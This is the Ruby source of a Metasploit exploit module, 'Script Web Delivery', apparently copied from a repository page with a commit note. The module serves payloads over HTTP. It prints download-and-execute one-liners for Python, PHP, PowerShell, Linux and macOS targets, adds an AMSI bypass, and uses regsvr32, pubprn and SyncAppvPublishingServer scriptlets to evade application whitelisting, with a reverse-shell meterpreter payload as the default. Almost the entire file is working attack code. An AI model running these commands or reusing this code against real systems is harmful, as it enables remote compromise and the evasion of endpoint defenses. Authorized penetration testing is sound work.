d4b196b309
Target authors were selected based on comments that indicated that the author was only responsible for a set of descrete targets. Authors that were noted as assisting with target testing, check module development, etc. were left at the module level.
299 lines
12 KiB
Ruby
299 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Script Web Delivery',
|
|
'Description' => %q{
|
|
This module quickly fires up a web server that serves a payload.
|
|
|
|
The module will provide a command to be run on the target machine
|
|
based on the selected target. The provided command will download
|
|
and execute a payload using either a specified scripting language
|
|
interpreter or "squiblydoo" via regsvr32.exe for bypassing
|
|
application whitelisting.
|
|
|
|
The main purpose of this module is to quickly establish a session on a
|
|
target machine when the attacker has to manually type in the command:
|
|
e.g. Command Injection, RDP Session, Local Access or maybe Remote
|
|
Command Execution.
|
|
|
|
This attack vector does not write to disk so it is less likely to
|
|
trigger AV solutions and will allow privilege escalations supplied
|
|
by Meterpreter.
|
|
|
|
When using either of the PSH targets, ensure the payload architecture
|
|
matches the target computer or use SYSWOW64 powershell.exe to execute
|
|
x86 payloads on x64 machines.
|
|
|
|
Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.
|
|
The signed Microsoft binary file, Regsvr32, is able to request an .sct
|
|
file and then execute the included PowerShell command inside of it.
|
|
|
|
Similarly, the pubprn target uses the pubprn.vbs script to request and
|
|
execute a .sct file.
|
|
|
|
Both web requests (i.e., the .sct file and PowerShell download/execute)
|
|
can occur on the same port.
|
|
|
|
The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe
|
|
Microsoft signed binary to request and execute a PowerShell script. This
|
|
technique only works on Windows 10 builds <= 1709.
|
|
|
|
"PSH (Binary)" will write a file to the disk, allowing for custom binaries
|
|
to be served up to be downloaded and executed.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
|
|
'Ben Campbell',
|
|
'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
|
|
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
|
|
'Trenton Ivey', # AppLocker MSF Module (kn0)
|
|
'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
|
|
'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass
|
|
],
|
|
'DefaultOptions' => {
|
|
'Payload' => 'python/meterpreter/reverse_tcp',
|
|
'Powershell::exec_in_place' => true
|
|
},
|
|
'References' => [
|
|
['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
|
|
['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
|
|
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
|
|
['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
|
|
['URL', 'http://web.archive.org/web/20171026182440/http://subt0x10.blogspot.com:80/2017/04/bypass-application-whitelisting-script.html'],
|
|
['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],
|
|
['URL', 'https://iwantmore.pizza/posts/amsi.html'],
|
|
['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],
|
|
['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],
|
|
['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],
|
|
],
|
|
'Targets' => [
|
|
[
|
|
'Python', {
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON
|
|
}
|
|
],
|
|
[
|
|
'PHP', {
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP
|
|
}
|
|
],
|
|
[
|
|
'PSH', {
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
}
|
|
],
|
|
[
|
|
'Regsvr32', {
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
}
|
|
],
|
|
[
|
|
'pubprn', {
|
|
'Author' => [
|
|
'bcoles',
|
|
'Matt Nelson' # @enigma0x3
|
|
],
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
}
|
|
],
|
|
[
|
|
'SyncAppvPublishingServer', {
|
|
'Author' => [
|
|
'bcoles',
|
|
'Nick Landers' # @monoxgas
|
|
],
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
}
|
|
],
|
|
[
|
|
'PSH (Binary)', {
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
}
|
|
],
|
|
[
|
|
'Linux', {
|
|
'Author' => 'bcoles',
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
}
|
|
],
|
|
[
|
|
'Mac OS X', {
|
|
'Platform' => 'osx',
|
|
'Arch' => [ARCH_X86, ARCH_X64]
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2013-07-19',
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),
|
|
OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),
|
|
OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),
|
|
OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),
|
|
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
|
|
OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
|
|
OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def primer
|
|
print_status('Run the following command on the target machine:')
|
|
|
|
case target.name
|
|
when 'PHP'
|
|
print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))
|
|
when 'Python'
|
|
print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))
|
|
when 'PSH'
|
|
uri = get_uri
|
|
if datastore['PSH-AmsiBypass']
|
|
amsi_uri = uri + amsi_bypass_uri
|
|
print_line(gen_psh([amsi_uri, uri], 'string').to_s)
|
|
else
|
|
print_line(gen_psh(uri, 'string').to_s)
|
|
end
|
|
when 'pubprn'
|
|
print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))
|
|
when 'SyncAppvPublishingServer'
|
|
print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))
|
|
when 'Regsvr32'
|
|
print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))
|
|
when 'PSH (Binary)'
|
|
psh = gen_psh(get_uri.to_s, 'download')
|
|
print_line(psh.to_s)
|
|
when 'Linux'
|
|
fname = Rex::Text.rand_text_alphanumeric(8)
|
|
print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
|
|
when 'Mac OS X'
|
|
fname = Rex::Text.rand_text_alphanumeric(8)
|
|
print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
|
|
end
|
|
end
|
|
|
|
def amsi_bypass_uri
|
|
unless datastore['PSH-AmsiBypassURI'].empty?
|
|
@amsi_uri = datastore['PSH-AmsiBypassURI']
|
|
end
|
|
@amsi_uri ||= random_uri
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if request.raw_uri.to_s.ends_with?('.sct')
|
|
print_status('Handling .sct Request')
|
|
psh = gen_psh(get_uri.to_s, 'string')
|
|
|
|
case target.name
|
|
when 'pubprn'
|
|
data = gen_pubprn_sct_file(psh)
|
|
when 'Regsvr32'
|
|
data = gen_sct_file(psh)
|
|
else
|
|
print_error('Unexpected request for .sct file')
|
|
end
|
|
|
|
send_response(cli, data, 'Content-Type' => 'text/plain')
|
|
return
|
|
end
|
|
|
|
if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)
|
|
data = bypass_powershell_protections
|
|
print_status("Delivering AMSI Bypass (#{data.length} bytes)")
|
|
send_response(cli, data, 'Content-Type' => 'text/plain')
|
|
return
|
|
end
|
|
|
|
case target.name
|
|
when 'Linux', 'Mac OS X', 'PSH (Binary)'
|
|
data = generate_payload_exe
|
|
when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'
|
|
data = cmd_psh_payload(
|
|
payload.encoded,
|
|
payload_instance.arch.first
|
|
)
|
|
else
|
|
data = payload.encoded.to_s
|
|
end
|
|
|
|
print_status("Delivering Payload (#{data.length} bytes)")
|
|
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
|
|
end
|
|
|
|
def gen_psh(url, *method)
|
|
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
|
force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']
|
|
|
|
if method.include? 'string'
|
|
download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)
|
|
else
|
|
# Random filename to use, if there isn't anything set
|
|
random = "#{rand_text_alphanumeric(8)}.exe"
|
|
|
|
# Set filename (Use random filename if empty)
|
|
filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']
|
|
|
|
# Set path (Use %TEMP% if empty)
|
|
path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')
|
|
|
|
# Join Path and Filename
|
|
file = %(echo (#{path}+'\\#{filename}'))
|
|
|
|
# Generate download PowerShell command
|
|
download_string = Rex::Powershell::PshMethods.download_run(url, file)
|
|
end
|
|
|
|
download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"
|
|
|
|
# Generate main PowerShell command
|
|
if datastore['PSH-EncodedCommand']
|
|
download_and_run = encode_script(download_and_run)
|
|
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)
|
|
end
|
|
|
|
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
|
|
end
|
|
|
|
def rand_class_id
|
|
"#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"
|
|
end
|
|
|
|
def gen_sct_file(command)
|
|
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
|
|
end
|
|
|
|
def gen_pubprn_sct_file(command)
|
|
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}
|
|
end
|
|
end
|